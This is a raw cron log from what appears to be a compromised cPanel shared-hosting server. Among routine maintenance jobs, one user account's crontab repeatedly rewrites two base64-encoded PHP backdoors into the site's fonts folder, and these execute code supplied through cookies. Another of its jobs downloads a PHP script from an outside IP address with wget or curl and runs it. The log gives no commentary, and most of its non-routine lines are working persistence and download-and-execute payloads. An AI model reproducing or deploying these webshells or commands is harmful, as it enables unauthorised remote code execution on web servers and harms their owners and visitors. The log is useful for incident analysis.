Sep 21 13:44:02 ip-184-168-122-23 CROND[14889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:44:02 ip-184-168-122-23 CROND[14890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:45:01 ip-184-168-122-23 CROND[15025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:45:01 ip-184-168-122-23 CROND[15028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:45:01 ip-184-168-122-23 CROND[15027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:45:01 ip-184-168-122-23 CROND[15029]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:45:01 ip-184-168-122-23 CROND[15030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:45:01 ip-184-168-122-23 CROND[15031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:46:01 ip-184-168-122-23 CROND[15210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:46:01 ip-184-168-122-23 CROND[15214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:46:01 ip-184-168-122-23 CROND[15212]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 13:46:01 ip-184-168-122-23 CROND[15215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:46:01 ip-184-168-122-23 CROND[15213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:46:01 ip-184-168-122-23 CROND[15216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:46:01 ip-184-168-122-23 CROND[15217]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 13:47:01 ip-184-168-122-23 CROND[15450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:47:01 ip-184-168-122-23 CROND[15452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:47:01 ip-184-168-122-23 CROND[15453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:47:01 ip-184-168-122-23 CROND[15454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:48:01 ip-184-168-122-23 CROND[15572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:48:01 ip-184-168-122-23 CROND[15574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:48:01 ip-184-168-122-23 CROND[15575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:48:01 ip-184-168-122-23 CROND[15576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:48:01 ip-184-168-122-23 CROND[15577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:49:01 ip-184-168-122-23 CROND[15719]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 21 13:49:01 ip-184-168-122-23 CROND[15720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:49:01 ip-184-168-122-23 CROND[15722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:49:01 ip-184-168-122-23 CROND[15723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:49:01 ip-184-168-122-23 CROND[15721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:50:01 ip-184-168-122-23 CROND[15962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:50:01 ip-184-168-122-23 CROND[15966]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 13:50:02 ip-184-168-122-23 CROND[15969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:50:02 ip-184-168-122-23 CROND[15973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:50:02 ip-184-168-122-23 CROND[15974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:50:02 ip-184-168-122-23 CROND[15979]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 13:50:02 ip-184-168-122-23 CROND[15977]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:50:02 ip-184-168-122-23 CROND[15976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:50:02 ip-184-168-122-23 CROND[15975]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:51:01 ip-184-168-122-23 CROND[16175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:51:01 ip-184-168-122-23 CROND[16178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:51:01 ip-184-168-122-23 CROND[16177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:51:01 ip-184-168-122-23 CROND[16176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:52:01 ip-184-168-122-23 CROND[16336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:52:01 ip-184-168-122-23 CROND[16339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:52:01 ip-184-168-122-23 CROND[16340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:52:01 ip-184-168-122-23 CROND[16341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:52:01 ip-184-168-122-23 CROND[16342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:53:01 ip-184-168-122-23 CROND[16555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:53:01 ip-184-168-122-23 CROND[16558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:53:01 ip-184-168-122-23 CROND[16557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:53:01 ip-184-168-122-23 CROND[16556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:54:01 ip-184-168-122-23 CROND[16689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:54:01 ip-184-168-122-23 CROND[16691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:54:01 ip-184-168-122-23 CROND[16692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:54:01 ip-184-168-122-23 CROND[16693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:54:01 ip-184-168-122-23 CROND[16694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:55:01 ip-184-168-122-23 CROND[16853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:55:01 ip-184-168-122-23 CROND[16855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:55:01 ip-184-168-122-23 CROND[16857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:55:01 ip-184-168-122-23 CROND[16856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:55:01 ip-184-168-122-23 CROND[16858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:55:01 ip-184-168-122-23 CROND[16859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:56:01 ip-184-168-122-23 CROND[17006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:56:01 ip-184-168-122-23 CROND[17009]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:56:01 ip-184-168-122-23 CROND[17010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:56:01 ip-184-168-122-23 CROND[17011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
